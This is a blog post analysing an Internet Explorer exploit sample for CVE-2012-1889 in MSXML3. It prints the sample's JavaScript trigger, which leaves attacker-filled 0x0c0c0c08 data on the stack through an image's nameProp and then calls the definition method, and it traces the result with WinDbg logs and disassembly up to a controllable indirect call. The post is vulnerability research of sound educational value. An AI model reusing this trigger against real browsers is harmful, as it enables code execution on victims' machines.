CVE-2012-1889 exploit sample analysis

Hi,
this is a IE exploit sample. I found this in the vt.
https://www.virustotal.com/en/file/1df80150284800e82b1dd64579aae71ebce2f6fd44ea37e4c83af287502452ee/analysis/
But I see the detection radio is so low, 12 / 51. many vendor can’t detect this sample.
From the vt tag, it seems CVE-2012-1889, and it really an old vulnerability.

We also can find the exploit code here:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb

Now Let’s look through this sample :)

The poc code is like following:

<script type="text/javascript">// <![CDATA[
var obj=document.getElementById('puZz').object;
var src=unescape("%"+"u0c08"+"%"+"u0c0c");

while(src.length<0x1002)src+=src;
src="\\\\xxx"+src;
src=src.substr(0,0x1000-10);

var pic=document.createElement("img");
pic.src=src;
pic.nameProp;

obj['definition'](1000);
// ]]></script>


Now we load the poc in the IE. It crashed.

(90c.76c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c08 ebx=00000000 ecx=5dda5dfc edx=00000001 esi=0c0c0c08 edi=0012e350
eip=5dd8d75d esp=0012e030 ebp=0012e14c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
msxml3!_dispatchImpl::InvokeHelper+0x9f:
5dd8d75d 8b08 mov ecx,dword ptr [eax] ds:0023:0c0c0c08=????????
//we can control the eax
0:000> u eip L 50
msxml3!_dispatchImpl::InvokeHelper+0x9f:
5dd8d75d 8b08 mov ecx,dword ptr [eax]
5dd8d75f ff7524 push dword ptr [ebp+24h]
5dd8d762 ff7520 push dword ptr [ebp+20h]
5dd8d765 57 push edi
5dd8d766 6a03 push 3
5dd8d768 ff7514 push dword ptr [ebp+14h]
5dd8d76b 68f8a7d85d push offset msxml3!GUID_NULL (5dd8a7f8)
5dd8d770 53 push ebx
5dd8d771 50 push eax
5dd8d772 ff5118 call dword ptr [ecx+18h]
5dd8d775 89450c mov dword ptr [ebp+0Ch],eax
5dd8d778 8b06 mov eax,dword ptr [esi]
5dd8d77a 56 push esi
5dd8d77b ff5008 call dword ptr [eax+8] //here we can make a rce :) 
-------
eax seems a vtable about this object.
Now lets analyze why we can control the eax, and where the eax from.
we make a bp on the function msxml3!_dispatchImpl::InvokeHelper.
in the first part of the function, it will allocate a stack.
.text:5DD8D6BE mov edi, edi
.text:5DD8D6C0 push ebp
.text:5DD8D6C1 mov ebp, esp
.text:5DD8D6C3 sub esp, 10Ch
.text:5DD8D6C9 push ebx
.text:5DD8D6CA push esi
.text:5DD8D6CB xor ebx, ebx
.text:5DD8D6CD cmp [ebp+arg_1C], ebx
-------
after allocate this stack, I found that the stack is just like:
msxml3!_dispatchImpl::InvokeHelper:
5dd8d6be 8bff mov edi,edi
0:000> dd esp
0012e150 5dd8db13 04c66fd4 5de1f584 00000017
0012e160 00000409 00000001 0012e350 00000000
0012e170 0012e330 0012e268 80020003 0012e268
0012e180 00000017 02e5eb88 0012e1c8 5dda4d84
0012e190 5de1f584 04c66fd4 00000017 5dd8a7f8
0012e1a0 00000409 00000001 0012e350 00000000
0012e1b0 0012e330 0012e268 02e5eb88 0012e268
0012e1c0 00000000 02e5eb88 0012e1fc 5ddacae4
0:000> p
eax=00000000 ebx=00000017 ecx=00000020 edx=5dd54050 esi=5de1f584 edi=0012e350
eip=5dd8d6c0 esp=0012e150 ebp=0012e188 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
msxml3!_dispatchImpl::InvokeHelper+0x2:
5dd8d6c0 55 push ebp
0:000> p
eax=00000000 ebx=00000017 ecx=00000020 edx=5dd54050 esi=5de1f584 edi=0012e350
eip=5dd8d6c1 esp=0012e14c ebp=0012e188 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
msxml3!_dispatchImpl::InvokeHelper+0x3:
5dd8d6c1 8bec mov ebp,esp
0:000>
eax=00000000 ebx=00000017 ecx=00000020 edx=5dd54050 esi=5de1f584 edi=0012e350
eip=5dd8d6c3 esp=0012e14c ebp=0012e14c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
msxml3!_dispatchImpl::InvokeHelper+0x5:
5dd8d6c3 81ec0c010000 sub esp,offset +0x10b (0000010c)
0:000> p
eax=00000000 ebx=00000017 ecx=00000020 edx=5dd54050 esi=5de1f584 edi=0012e350
eip=5dd8d6c9 esp=0012e040 ebp=0012e14c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
msxml3!_dispatchImpl::InvokeHelper+0xb:
5dd8d6c9 53 push ebx
0:000> dd esp
0012e040 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e050 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e060 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e070 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e080 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e090 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e0a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e0b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
------
Yes, the stack is not clear when we reuse it again.
.text:5DD8D72E lea eax, [ebp+pvarg]
.text:5DD8D731 push eax ; pvarg
.text:5DD8D732 call __imp__VariantInit@4 ; VariantInit(x)
{ // this function only make the first word as 0. it not clear all the data to 0.
OLEAUT32!VariantInit:
770f4950 8bff mov edi,edi
770f4952 55 push ebp
770f4953 8bec mov ebp,esp
770f4955 8b4508 mov eax,dword ptr [ebp+8]
770f4958 66832000 and word ptr [eax],0
770f495c 5d pop ebp
770f495d c20400 ret 4
}
after execute the VariantInit
the eax is like
0:000> dd eax
0012e130 0c0c0000 0c0c0c08 0c0c0c08 0c0c0c08
0012e140 00000006 00000000 010c0c08 0012e188
---
.text:5DD8D708 cmp [edi+8], ebx ; [edi+8] ; here stores the count of the function's args
.text:5DD8D70B mov ecx, [esi+10h]
.text:5DD8D70E lea eax, [eax+eax*2]
.text:5DD8D711 lea eax, [ecx+eax*8]
.text:5DD8D714 jbe short loc_5DD8D78A
.text:5DD8D716 cmp [ebp+arg_8], ebx
.text:5DD8D719 jz short loc_5DD8D78A
.text:5DD8D71B test [ebp+arg_10], 1 ; use as attribute or method. arrtribute == 2, method == 1
.text:5DD8D71F jz short loc_5DD8D78A
.text:5DD8D721 test byte ptr [eax+16h], 2
.text:5DD8D725 jz short loc_5DD8D78A
.text:5DD8D727 cmp word ptr [eax+14h], 9
.text:5DD8D72C jnz short loc_5DD8D78A
.text:5DD8D72E lea eax, [ebp+pvarg]
.text:5DD8D731 push eax ; pvarg
.text:5DD8D732 call __imp__VariantInit@4 ; VariantInit(x)
.text:5DD8D738 push ebx
.text:5DD8D739 lea eax, [ebp+pvarg]
.text:5DD8D73C push eax ; push the pvarg
.text:5DD8D73C ;
.text:5DD8D73D push 2
.text:5DD8D73F push ebx
.text:5DD8D740 push [ebp+arg_8] ; 这个是invoke_method.
.text:5DD8D740 ; get_definiation == 0x17
.text:5DD8D743 push [ebp+arg_0]
.text:5DD8D746 call dword ptr [esi+20h] ; here, it will call get_dinition.
{
//we step into this function to see what it does?
in this function
msxml3!DOMNode::get_definition
we see the arg like
0:000> dd esp
0012dff0 5ddaea72(return addr) 04c76fd4(first arg) 0012e138(second arg) 0012e014
__int32 __stdcall DOMNode::get_definition(DOMNode *this, struct IXMLDOMNode **)
so it will transfer the (pvarg+8) as IXMLDOMNode reference.
The value really is a undefined value :) 
0:000> dd 0012e130
0012e130 0c0c0000 0c0c0c08 0c0c0c08 0c0c0c08
......
}
.text:5DD8D749 cmp eax, ebx
.text:5DD8D74B jl loc_5DD8D818
.text:5DD8D751 mov eax, dword ptr [ebp+pvarg.anonymous_0+8] //this value == pvarg+8.
.text:5DD8D754 cmp eax, ebx
.text:5DD8D756 mov esi, eax //mov the eax value to esi.
......
.text:5DD8D778 mov eax, [esi] //get the eax from esi, esi seems a object.
.text:5DD8D77A push esi
.text:5DD8D77B call dword ptr [eax+8]
----

Now we find the data was came from the stack. the function definition can’t deal it well.
Then we need to find how to put our data into the stack. we need to go through the function pic.nameProp.
we need to make a bp on function CImgElement::get_nameProp

.text:7E456005 ; __int32 __stdcall CImgElement::get_nameProp(CImgElement *this, unsigned __int16 **)
.text:7E456005 var_2008 = dword ptr -2008h
.text:7E456005 Str = word ptr -2004h
.text:7E456005 var_4 = dword ptr -4
.text:7E456005 this = dword ptr 8
.text:7E456005 arg_4 = dword ptr 0Ch
.text:7E456005
.text:7E456005 mov edi, edi
.text:7E456007 push ebp
.text:7E456008 mov ebp, esp
.text:7E45600A mov eax, 2008h
.text:7E45600F call __chkstk
.text:7E456014 mov eax, ___security_cookie
.text:7E456019 push esi
.text:7E45601A mov esi, [ebp+arg_4]
.text:7E45601D and dword ptr [esi], 0
.text:7E456020 push edi
.text:7E456021 mov edi, [ebp+this]
.text:7E456024 push 0 ; unsigned __int16 *
.text:7E456026 push 0FFFFFFFFh ; dwCombineFlags
.text:7E456028 mov [ebp+var_4], eax
.text:7E45602B push edi ; struct CElement *
.text:7E45602C lea eax, [ebp+Str]
.text:7E456032 push eax ; pszResult
.text:7E456033 push 1000h ; cchResult
.text:7E456038 mov ecx, edi ; this
.text:7E45603A call ?GetAAsrc@CImgElement@@QBEPBGXZ ; CImgElement::GetAAsrc(void)
{
//get the img.src info
0:000>
eax=0012c1f4 ebx=7e2229cc ecx=036499f0 edx=04682f98 esi=04682f98 edi=036499f0
eip=7e45603a esp=0012c1d4 ebp=0012e1f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CImgElement::get_nameProp+0x35:
7e45603a e85c76e8ff call mshtml!CImgElement::GetAAsrc (7e2dd69b)
0:000> p
eax=055c1010 ebx=7e2229cc ecx=00000000 edx=0012c1c8 esi=04682f98 edi=036499f0
eip=7e45603f esp=0012c1d4 ebp=0012e1f8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CImgElement::get_nameProp+0x3a:
7e45603f 50 push eax
0:000> dd eax
055c1010 005c005c 00780078 0c080078 0c080c0c
055c1020 0c080c0c 0c080c0c 0c080c0c 0c080c0c
055c1030 0c080c0c 0c080c0c 0c080c0c 0c080c0c
055c1040 0c080c0c 0c080c0c 0c080c0c 0c080c0c
055c1050 0c080c0c 0c080c0c 0c080c0c 0c080c0c
055c1060 0c080c0c 0c080c0c 0c080c0c 0c080c0c
055c1070 0c080c0c 0c080c0c 0c080c0c 0c080c0c
055c1080 0c080c0c 0c080c0c 0c080c0c 0c080c0c
}
.text:7E45603F push eax ; unsigned __int16 *
.text:7E456040 push 0 ; struct CMarkup *
.text:7E456042 call ?ExpandUrl@CMarkup@@SGJPAV1@PBGJPAGPAVCElement@@K2@Z ; CMarkup::ExpandUrl(CMarkup *,ushort const *,long,ushort *,CElement *,ulong,ushort *)
{
put the src info in the [ebp-2004], the info is on the stack :) 
0:000> p
eax=055c1010 ebx=7e2229cc ecx=00000000 edx=0012c1c8 esi=04682f98 edi=036499f0
eip=7e456042 esp=0012c1cc ebp=0012e1f8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CImgElement::get_nameProp+0x3d:
7e456042 e8adc8e5ff call mshtml!CMarkup::ExpandUrl (7e2b28f4)
0:000> p
eax=00000000 ebx=7e2229cc ecx=0000aa48 edx=00145000 esi=04682f98 edi=036499f0
eip=7e456047 esp=0012c1e8 ebp=0012e1f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CImgElement::get_nameProp+0x42:
7e456047 85c0 test eax,eax
0:000> dc [ebp-2004]
0012c1f4 00690066 0065006c 002f003a 0078002f f.i.l.e.:././.x.
0012c204 00780078 0c0c0c08 0c0c0c08 0c0c0c08 x.x.............
0012c214 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................
0012c224 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................
0012c234 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................
0012c244 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................
0012c254 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................
0012c264 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................
}
......
.text:7E456088 pop edi
.text:7E456089 pop esi
.text:7E45608A call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:7E45608F leave
.text:7E456090 retn 8
.text:7E456090 ?get_nameProp@CImgElement@@QAGJPAPAG@Z endp
----
It puts the string in the stack, after quit the function, the things still on the stack.
{
0:000> dd 0012c1e4
0012c1e4 00000000 04686fd0 7e45608f 00000000
0012c1f4 00690066 0065006c 002f003a 0078002f
0012c204 00780078 0c0c0c08 0c0c0c08 0c0c0c08
0:000> dd 0012c1e4+1ff0
0012e1d4 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08
0012e1e4 0c0c0c08 002f0c08 00120000 7e456005
}

The sample you can download from here:
B89A32EAB0C8F900DB59EE254DDCDE55

enjoy:)

咦?还没有评论,抢沙发!

发表评论

带 * 的是必填项目,电子邮件地址不会被公开。
文字的交流也是情感的交流,技能的交流也是学术的交流。

Are you human? Click the Pineapple...